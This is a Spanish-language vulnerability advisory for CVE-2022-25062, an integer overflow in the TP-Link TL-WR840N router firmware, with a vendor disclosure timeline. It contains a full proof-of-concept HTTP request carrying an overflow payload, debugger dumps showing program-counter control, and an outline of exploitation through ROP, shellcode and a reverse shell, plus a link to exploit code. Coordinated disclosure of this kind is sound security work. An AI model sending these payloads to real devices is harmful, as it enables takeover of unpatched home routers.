Remote Code Execution in TPLINK TL-WR840N via Integer Overflow
Version TL-WR840N(ES)_V6.20_180709
CVE-2022-25062
Samir Sánchez Garnica
Aviso de Seguridad 004
Luis Eduardo Jácome Valencia
Descripción de la vulnerabilidad
TL-WR840N
Router TPLINK Tl-WR840N Inalámbrico es un dispositivo con velocidad de transmisión de 300 Megabit por segundo (Mbps). Es el dispositivo de red justo para tareas cotidianas que requieren banda ancha y trabajos del día a día.
EL PROBLEMA
Esta versión es afectada por la ejecución de código remoto bajo el objeto dm_checkString.
VERSIONES AFECTADAS
Se estima que las versiones afectadas sean <= TL-WR840N(ES)_V6.20_180709
Línea de tiempo
| Fecha | Acción |
| 10/12/2021 | Aviso enviado a la respuesta a incidentes de seguridad de productos TPLINK |
| 13/12/2021 | Se recibe una respuesta con el equipo de seguridad de TPLINK |
| 02/02/2022 | Se recibe una version beta y se verifica la mitigacion de la vulnerabilidad |
| 09/02/2022 | Se cierra el caso con el hallazgo identificado |
Descripción técnica y prueba de concepto (PoC)
Identificación de vulnerabilidad a traves de la ingenieria inversa
Esta vulnerabilidad es descubierta bajo el modulo de libreria denominado libcmm.so , en muchos de los casos descubiertos se identifica que muchos de los parametros que son pasados por el cliente no son sanitizados y pasan directamente a la funcion util_execSystem la cual ejecuta comandos de sistema operativo dentro del dispositivo.
a continuacion puede identificar el segmento de codigo vulnerable.
undefined4 dm_checkString(int param_1,char *param_2)
{
uint uVar1;
undefined4 uVar2;
strlen(param_2);
uVar1 = *(uint *)(param_1 + 8);
if (uVar1 < 8) {
/* WARNING: Could not recover jumptable at 0x00090578. Too many branches */
/* WARNING: Treating indirect jump as call */
uVar2 = (*(code *)(&_gp_1 + *(int *)(&DAT_000c4060 + uVar1 * 4)))();
return uVar2;
}
cdbg_printf(8,"dm_checkString",0x59a,"Unknow parameter type : %d\n",uVar1);
return 0x232e;
}
Tenemos una funcion que recibe dos argumentos un valor de tipo entero y un puntero de datos de tipo char, cuando este puntero aloja un tamaño especifico en el puntero y se pasa como argumento a la funcion strlen podemos ver que se toma control sobre algunos registros, ocasionando asi un desbordamiento de enteros en la función.
Podemos comprobar el desbordamiento enviando el siguiente payload.
POST /cgi?2 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 3331
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/mainFrame.htm
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
[NOIP_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,5
enable=1
userName=admin
password=admin
userDomain=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
login=1
Una vez enviada la petición tenemos el siguiente resumen.
Program received signal SIGSEGV, Segmentation fault.
0x2b750548 in dm_checkString () from target:/lib/libcmm.so
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
*V0 0xc98
*V1 0x7fcc95e0 ◂— 0x0
*A0 0x7fcc8948 ◂— 0x41414141 ('AAAA')
*A1 0xfefefeff
A2 0x0
*A3 0x7fcca90d ◂— 0xa31 /* '1\n' */
*T0 0x81010100
*T1 0xa0a0a0a ('\n\n\n\n')
*T2 0x0
*T3 0x0
*T4 0x0
*T5 0x0
*T6 0x0
*T7 0x0
*T8 0x0
*T9 0x2b83f0c0 (strlen) ◂— b 0x2b83f0d4
*S0 0x7fcc8948 ◂— 0x41414141 ('AAAA')
*S1 0x42424242 ('BBBB')
*S2 0x7fcc8eb0 ◂— 0x44444444 ('DDDD')
*S3 0xc98
*S4 0x7fcc95a0 ◂— 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
*S5 0x0
*S6 0x1
*S7 0x7fcc9b40 ◂— 0x0
*S8 0x7fcc8eb0 ◂— 0x44444444 ('DDDD')
*FP 0x7fcc88a0 ◂— 0x0
*SP 0x7fcc8860 —▸ 0x423070 —▸ 0x40c850 ◂— jalx 0x5c59548 /* 'Request-URI Too Long' */
*PC 0x2b750548 (dm_checkString+64) ◂— lw $v0, 8($s1)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x2b750548 <dm_checkString+64> lw $v0, 8($s1)
0x2b75054c <dm_checkString+68> lw $gp, 0x20($sp)
0x2b750550 <dm_checkString+72> sltiu $v1, $v0, 8
0x2b750554 <dm_checkString+76> beqz $v1, dm_checkString+1144 <0x2b750980>
0x2b750558 <dm_checkString+80> addiu $a0, $zero, 8
0x2b75055c <dm_checkString+84> lw $v1, -0x7fd0($gp)
0x2b750560 <dm_checkString+88> sll $v0, $v0, 2
0x2b750564 <dm_checkString+92> addiu $v1, $v1, 0x4060
0x2b750568 <dm_checkString+96> addu $v0, $v1, $v0
0x2b75056c <dm_checkString+100> lw $v0, ($v0)
0x2b750570 <dm_checkString+104> nop
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7fcc8860 —▸ 0x423070 —▸ 0x40c850 ◂— jalx 0x5c59548 /* 'Request-URI Too Long' */
01:0004│ 0x7fcc8864 —▸ 0x2b68b108 (_dl_runtime_resolve+72) ◂— lw $gp, 0x20($sp) /* ' ' */
02:0008│ 0x7fcc8868 ◂— 0x0
03:000c│ 0x7fcc886c ◂— 0x0
04:0010│ 0x7fcc8870 ◂— 0x15
05:0014│ 0x7fcc8874 ◂— 0x0
06:0018│ 0x7fcc8878 —▸ 0x2b7b44a0 ◂— 0x0
07:001c│ 0x7fcc887c ◂— 0x0
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 0x2b750548 dm_checkString+64
f 1 0x2b750c40 dm_setParamNodeString+72
f 2 0x2b7452c8 dm_fillObjByStr+776
f 3 0x44444444
──────────────────────────────────────────────────────────────────────
AL ajustar el payload podemos pasar los checks de errores y obtener un mejor control de los registros.
Program received signal SIGSEGV, Segmentation fault.
0x45454545 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
*V0 0x232f
*V1 0x0
*A0 0x1
*A1 0x1
*A2 0x49
A3 0x1
*T0 0x0
*T1 0xfffffffe
*T2 0x0
*T3 0x27656c62 ("ble'")
*T4 0x61762073 ('s va')
*T5 0x800
*T6 0x400
*T7 0x2065756c ('lue ')
*T8 0x0
*T9 0x2b3ad6ec (__pthread_unlock) ◂— lui $gp, 2
*S0 0x45454545 ('EEEE')
*S1 0x45454545 ('EEEE')
*S2 0x45454545 ('EEEE')
*S3 0x45454545 ('EEEE')
*S4 0x45454545 ('EEEE')
*S5 0x45454545 ('EEEE')
*S6 0x45454545 ('EEEE')
*S7 0x45454545 ('EEEE')
*S8 0x45454545 ('EEEE')
*FP 0x7f984d40 ◂— 0x45454545 ('EEEE')
*SP 0x7f984d40 ◂— 0x45454545 ('EEEE')
*PC 0x45454545 ('EEEE')
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Invalid address 0x45454545
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ fp sp 0x7f984d40 ◂— 0x45454545 ('EEEE')
... ↓ 7 skipped
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 0x45454545
La explotación
Los metodos de explotación pueden ser variados, puede hacer uso de ROP to system call e inyectar un shellcode, aprovechando que la pila tiene permisos de ejecución, no olvide que esta trabajndo con la arquitectura MIPSLE asi que debera luchar contra la incoherencia de cache para llamar a su shellcode de forma adecuada
Finalmente obtenga la reverse shell y tome control del producto.

Video Prueba de concepto
URL mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25062
URL código de explotación: https://github.com/exploitwritter/CVE-2022-25062

Deja un comentario